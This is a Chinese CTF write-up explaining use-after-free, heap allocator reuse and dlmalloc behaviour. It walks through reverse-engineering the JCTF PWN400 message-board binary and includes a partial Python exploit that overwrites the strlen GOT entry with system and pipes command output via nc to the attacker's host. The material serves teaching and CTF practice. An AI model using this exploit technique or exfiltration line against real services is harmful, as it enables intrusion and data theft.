Halvar Flake 在”Third Generation Exploitation”中,按照攻击的难度把漏洞利用技术分为了3个层次:
(1) 第一类是基础的栈溢出利用。攻击者可以利用返回地址等轻松劫持进程,植入shellcode,例如,对strcpy,strcat等函数进行攻击。
(2) 第二类是高级的栈溢出漏洞。这时,栈中有许多限制因素。
(3) 第三类攻击则是堆溢出利用及格式化串漏洞利用。
当然,我个人将这个漏洞的利用分在了第三类中,可以说use after free(UAF)这个漏洞很多也都是在堆中完成的。属于堆溢出,当然这几天研究了一下UAF漏洞,上个月去南京时候把堆溢出的利用也熟悉了一下,堆溢出利用主要的方式也就是DWORD SHOOT了,利用的条件也是比较苛刻的,过几天我会在另一篇文章中写出来。
Use After Free,顾名思义就是释放后再使用,网上查询了很多资料,说的仔细一点的也没有太多,绝大部分都是浏览器相关的,换了mac后搭建windows的调试环境太蛋疼,而且利用方式比较困难,不能直接体现出来这个漏洞的精华所在,好不容易找了一篇文章,结果发现是棒子写的,尼玛,翻译的我也是蛋疼,哎。好的,扯淡就到这里,关键问题来了,这个漏洞叫释放后再使用,也就是free掉一个内存后然后继续使用这个内存喽,这个会造成什么后果呢?我不清楚。好吧,顺便找点CTF题目来学习一下利用方法,好不容易找到了一道题目:DEFCON CTF Qualifier 2014中的一道溢出题目,跟UAF相关,于是研究了好几天才搞懂,后面我会把这道题的writeup也写入进去,当然之前也看了棒子写的PDF,有点思路后才理解这个漏洞的,不多说,还是从棒子的这个文章中下手吧,看如下代码:
6 | typedef struct samplestruct |
11 | int main( int argc, char **argv) |
15 | one = (sample *) malloc (20); |
17 | printf ( "[1] one->number: %d\n" , one->number); |
19 | printf ( "[2] one->number: %d\n" , one->number); |
20 | printf ( "[*] address of one : %p\n" , one); |
24 | two = (sample *) malloc (20); |
25 | printf ( "[3] two>number: %d\n" , two->number); |
26 | printf ( "[*] address of two : %p\n" , two); |
运行一下结果发现:
3 | [*] address of one : 0x100105430 |
5 | [*] address of two : 0x100105430 |
6 | Program ended with exit code: 0 |
two这个结构体竟然打印出了和刚刚被释放的one结构体一样的值!而且分配的地址也是一样!!而且运行了多次发现结果一直都不变!one和two的地址是相同的!
于是棒子在底下引用了这个链接:http://g.oswego.edu/dl/html/malloc.html
Deferred Coalescing
Rather than coalescing freed chunks, leave them at their current sizes in hopes that another request for the same size will come along soon. This saves a coalesce, a later split, and the time it would take to find a non-exactly-matching chunk to split.
大概意思就是说,系统会保留刚刚被释放的内存块而不是去和其他的空闲块合并,因为系统希望不久的将来会有一个新的操作也是申请一个同样大小的内存。也就是延迟合并,这样可以加快系统的速度。
这样那上面的代码就好解释了,我们在free(one) 这个操作后,one所占的内存并没有发生合并,而我们在malloc(two) 后,也就是不久的将来,我们新申请了一个同样大小的内存,所以系统根据这个算法,将上一步操作中释放的one内存指针给了新申请的two。
后面作者也给了一个利用的例子,但是当时我没有看太明白,于是就忽略了。
后来在做Defcon那道题目的时候对系统的延迟合并操作也有比较大的疑问,于是就请教了kelwin,他告诉我说是dlmalloc,于是查了一下资料,发现有更详细的解释:http://blog.csdn.net/ycnian/article/details/12971863
当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
而且这里也有一个现象就是:我用malloc分配了3个16字节的空间a,b,c,然后free掉b,c,如果再次malloc2个16字节空间的话那么会先将free掉的c再次分出去,然后再用free掉b空间分配出去,这是我在做那道Defcon题目的时候调试我发现的情况,如果按照文章这样解释的话,那这个就非常符合dlmalloc的情况了。当然具体dlmalloc中实现的一些细节还是比较复杂的,涉及到linux的内核分析,这里暂时不多说,看来这个UAF还真是比较有难度啊。
那我们还是拿一个题目来说明一下如何利用UAF漏洞吧,比较近的一题是JCTF PWN400,当然还有Defcon的那道题,我们先拿JCTF的这道题来实验:
文件破译
在经过几经探索之后李乐发现原来这台服务器只是JSC用来娱乐练习的一台服务器,没有什么实际价值~于是,李乐只好在服务器上留下了一些自己的建议,一起来留下来你的建议吧~
文件地址:http://pan.baidu.com/s/1bn1YFaZ 密码: f44p
题目地址:121.40.177.167:45678
二进制文件下载地址:
400.rar (605.1 KiB, 91 hits)
压缩包里给了so,而且在txt中给了printf函数的地址,那我们可以得到任意指令的地址了。距离比赛结束将近半年了,这里我把老的题目翻出来做一做,因为当时记得看0ops的writeups中提到了悬空指针这个名词,而且也说了题目利用的是Use After Free这个漏洞,当时也只有他们把这道题做出来了,好的,我们来分析这个文件。是一个留言系统,也是各种申请内存结构体的,里面有几个全局变量,根据阅读代码和分析可以弄清他们的作用:
1 | int __cdecl sub_8048AF7( int a1) |
5 | *(_DWORD *)(a1 + 4) = 0; |
6 | *(_DWORD *)(a1 + 8) = 0; |
7 | *(_DWORD *)(a1 + 12) = leave_message; |
8 | *(_DWORD *)(a1 + 16) = sub_804965B; |
9 | *(_DWORD *)(a1 + 20) = 0; |
10 | *(_DWORD *)(a1 + 24) = message_id; |
11 | *(_DWORD *)(a1 + 28) = malloc (0x12Cu); |
12 | *(_DWORD *)(a1 + 32) = malloc (0x4B0u); |
13 | *(_DWORD *)(a1 + 44) = rand (); |
14 | *(_DWORD *)(a1 + 40) = sub_8048B99(1); |
上面的函数是初始化结构体的操作,下面的是主函数的操作:
1 | void __noreturn start_main() |
7 | setvbuf (stdout, 0, 2, 0); |
8 | signal (11, (__sighandler_t)handler); |
10 | v2 = ( int ) malloc (0x30u); |
11 | sub_8048AF7(( int *)v2); |
14 | puts ( "1.leave your message" ); |
15 | puts ( "2.read the message" ); |
17 | puts ( "what do you want to do?" ); |
23 | if ( v1 > 51 || v1 <= 48 ) |
27 | puts ( "Wrong in main!" ); |
38 | sub_8048C04(( int *)v2); |
建议大家分析之前还是运行一下程序,这样你可以搞清楚程序的起点了,而且这个程序的作用,对后面分析程序中使用的某些变量的作用非常有帮助,比如上面的代码分析发现是选择的操作,if根据输入的值来判断进行哪步操作,那么后面我们重点就分析if里面调用的函数了,比如我们分析选择为2的函数这里:
1 | int __cdecl sub_8048C04( int a1) |
14 | printf ( "\t| %s| %-20s | %-20s \n" , "number" , "author" , "title" ); |
17 | puts ( "\t-----------------------------------------------" ); |
18 | printf ( "\t| %5d | %-20s | %-20s \n" , *(_DWORD *)(v3 + 24), *(_DWORD *)(v3 + 28), *(_DWORD *)(v3 + 32)); |
19 | puts ( "\t-----------------------------------------------" ); |
20 | v3 = *(_DWORD *)(v3 + 4); |
22 | v2 = get_reply(( int *)a1); |
26 | v2 = puts ( "wrong in read_message!" ); |
注释是我分析的结果,我们运行一下,选择2发现是read message选项,打印出来我们通过1选项新建的留言的作者和标题,那么我们就可以很容易的知道*(_DWORD *)(v3 + 28), *(_DWORD *)(v3 + 32) 分别表示的是留言的作者和标题了,下面再分析就方便了,当然这个结构体中间也有好几个未知的部分,我就用unk_i 和unknow_i代替了,分析知道程序中有两个结构体,一个是留言的结构体,还有一个是留言中回复的结构体,均为单向链表,突然想起这个是数据结构课程中的内容,可惜的是我没有学过数据结构啊!硬伤,╮(╯▽╰)╭ 。。。下面就是两个结构体的内容,我将其转成了struct格式,这样我们用ida分析起来就非常方便了!!
4 | struct MESSAGE * Next_message; |
8 | struct REPLY *reply_struct; |
23 | char * message_content; |
26 | struct REPLY *next_reply; |
下面就是转换结构体后的代码了:
1 | MESSAGE *__cdecl sub_8048AF7(MESSAGE *a1) |
4 | LOBYTE(a1->reply_count) = 0; |
7 | a1->leave_function = leave_message; |
8 | a1->unk_3 = sub_804965B; |
10 | a1->message_id = message_id; |
11 | a1->author = ( char *) malloc (0x12Cu); |
12 | a1->title = ( char *) malloc (0x4B0u); |
14 | a1->unk_4 = sub_8048B99(1); |
1 | int __cdecl sub_8048C04(MESSAGE *a1) |
6 | if ( !LOBYTE(a1->reply_count) ) |
14 | printf ( "\t| %s| %-20s | %-20s \n" , "number" , "author" , "title" ); |
17 | puts ( "\t-----------------------------------------------" ); |
18 | printf ( "\t| %5d | %-20s | %-20s \n" , v3->message_id, v3->author, v3->title); |
19 | puts ( "\t-----------------------------------------------" ); |
20 | v3 = (MESSAGE *)v3->Next_message; |
26 | v2 = puts ( "wrong in read_message!" ); |
这样看是不是清晰了许多?对不对,好了,我们的集中点都在如何触发UAF这个漏洞,当然首先我们得找到删除留言啊,删除信息这样的函数,因为只有这些地方进行了free操作,才可能触发UAF,我们定位到了这里,也是sub_8048C04这个函数中的get_reply函数:
1 | int __cdecl get_reply(MESSAGE *a1) |
13 | v6 = a1->reply_struct; |
14 | __isoc99_scanf( "%d" , &v2); |
15 | for ( ptr = a1; ptr; ptr = (MESSAGE *)ptr->Next_message ) |
17 | if ( ptr->message_id == v2 ) |
19 | v6 = ptr->reply_struct; |
20 | puts ( "\t\t===================================" ); |
21 | printf ( "\t\t|| %d || %-20s || %-20s \n" , ptr->message_id, ptr->author, ptr->title); |
22 | puts ( "\t\t===================================" ); |
23 | printf ( "\t\t|content | %s\n" , ptr->content); |
24 | puts ( "\t\t===================================" ); |
29 | printf ( "\t\t\t|====> %s\n" , v6->message_content); |
30 | v6 = (REPLY *)v6->next_reply; |
35 | v3 = sub_8048E23(ptr); |
39 | v4 = puts ( "wrong in get choice!\n" ); |
这里代码已经非常清晰了,用户输入一个消息编号,然后程序会输出这个消息下面的留言,按照链表顺序查找,传入a1结构体指针的是消息链表的开始地址,然后按照留言一点点查找下去,并打印出消息的id,作者,标题及具体内容,输出完后调用sub_8048E23函数,ptr是当前查找到的结构体指针,指向了用户查找的消息的指针,并让用户选择(1.delete 2.modify 3.add reply 4.back):
1 | int __cdecl sub_8048E23(MESSAGE *ptr) |
14 | printf ( "\n\t\tPlease select the operate:1.delete 2.modify 3.add reply 4.back\n\t\t-->" ); |
16 | __isoc99_scanf( "%d" , &choice); |
19 | modify_message(( int )ptr); |
24 | return puts ( "wrong in get option!" ); |
36 | return puts ( "wrong in get option!" ); |
delete_reply中就有free的操作,是删除整个消息的结构体,包括里面的留言:
1 | int __cdecl delete_reply(MESSAGE *ptr) |
8 | if ( SLOBYTE(ptr->reply_count) > 0 ) |
10 | printf ( "Can't be deleted!'" ); |
14 | *(_DWORD *)(ptr->unk_1 + 4) = ptr->Next_message; |
15 | *((_DWORD *)ptr->Next_message + 2) = ptr->unk_1; |
17 | if ( v1 == sub_8048B99(2) ) |
19 | for ( i = ptr->reply_struct; i->next_reply; i = ( struct REPLY *)i->next_reply ) |
21 | i->unknow_4 = sub_804962E; |
22 | i->unknow_3 = sub_804961B; |
25 | v3 = (( int (__cdecl *)(MESSAGE *))ptr->unk_3)(ptr); |
好了,删除的位置我们也找到了,代码的流程我们也分析的非常清楚了,不过,到底怎么触发漏洞呢?如何让程序执行我们想要的代码呢?貌似删除也有条件啊,只要回复数量大于0的话就提示不能删除啊!而且每个结构体建立的时候系统会默认加一条留言,所以留言数量总是大于1的。这个怎么办?没法删除的话就没法UAF啊!
仔细观察我们发现 SLOBYTE(ptr->reply_count) 竟然是取一个字节一刚!好吧,只要回复留言为256条就可以删除了,现在就是如何构造UAF了,注意到调用delete_reply的上一层函数:
5 | printf ( "\n\t\tPlease select the operate:1.delete 2.modify 3.add reply 4.back\n\t\t-->" ); |
7 | __isoc99_scanf( "%d" , &choice); |
10 | modify_message(( int )ptr); |
15 | return puts ( "wrong in get option!" ); |
看见了把,delete后程序仍然在while的流程中,此时ptr指针指向的内存以及被free掉了,但是我们仍然可以调用modify_message或者delete_reply这个操作,而且传入的就是ptr指针,这个ptr已经成为了一个悬空指针,好了,我们看看modify_message的代码:
1 | signed int __cdecl modify_message(MESSAGE *a1) |
14 | v10 = *MK_FP(__GS__, 20); |
15 | memset (&s, 0, 0x12Cu); |
16 | memset (&src, 0, 0x4B0u); |
17 | memset (v9, 0, 0x2EE0u); |
18 | puts ( "Please input author:\n-->" ); |
20 | sub_8048A4D(( int )&s, 255, 10); |
23 | memcpy (a1->author, &s, v1 + 1); |
24 | puts ( "Please input title:\n-->" ); |
25 | sub_8048A4D(( int )&src, 1023, 10); |
28 | memcpy (a1->title, &src, v2 + 1); |
29 | puts ( "Please input the content of message:\n-->" ); |
30 | sub_8048A4D(( int )v9, 11990, 10); |
34 | a1->content = ( char *) malloc (v3 + 1); |
35 | memcpy (a1->content, v9, v4 + 1); |
36 | a1->unk_4 = sub_8048B99(2); |
38 | v6 = *MK_FP(__GS__, 20) ^ v10; |
也就是说,我们只要在删除message后修改一下这个message,修改中有一个malloc函数,我们可以将我们消息的内容大小设置的跟MESSAGE结构体一样的大小,这样malloc申请的地址就是刚刚被free掉的ptr指向的地址了!然后又有一个memcpy,我们只要在新建的content中author或者title位置中写入strlen的got地址,然后s中传入’/bin/sh’,就直接可以调用system(‘/bin/sh’)了,好了游戏结束了。
需要注意的是,这道题程序是fork出来子进程实现的,子进程中函数地址跟父进程中的地址都是相同的,每次fork出来后都不会变,所以不用担心随机化的问题,由于程序是socket的而不是用xinetd开的服务,如果我们直接执行system(‘/bin/sh’)的话是无法显示执行结果的,所以我们可以换成其他命令,可以将flag读取出来然后nc传给我们的服务器,poc如下:
3 | #Contact shou@shou.edu.cn |
18 | if 'what do you want to do?' in tmp : |
27 | if '\t' + '| 3 | test | test ' + '\n' in tmp : |
36 | if 'Please select the operate:1.delete 2.modify 3.add reply 4.back' in tmp : |
41 | for i in range(0,255) : |
49 | print "delete operation\n" |
62 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
63 | s.connect(( '10.211.55.6' ,45678)) |
92 | content = "A" * 28 + struct .pack( 'I' ,0x0804C04C) + "A" * 15 + '\n' |
102 | # 将strlen函数地址覆盖成system函数的地址 |
103 | s.send( struct .pack( 'I' ,0xb765ec30) + '\n' ) |
106 | s.send( 'whoami | nc 10.211.55.2 4444' + '\n' ) |
这里利用的条件非常苛刻,如果我在delete后退出了循环,那么我可能就没有机会再利用这个漏洞了,因为已退出,链表结构已经发生了改变,接下来Defcon的题目你就会感觉到这一点,那道题貌似连写入的机会都没有,只能任意读取内存。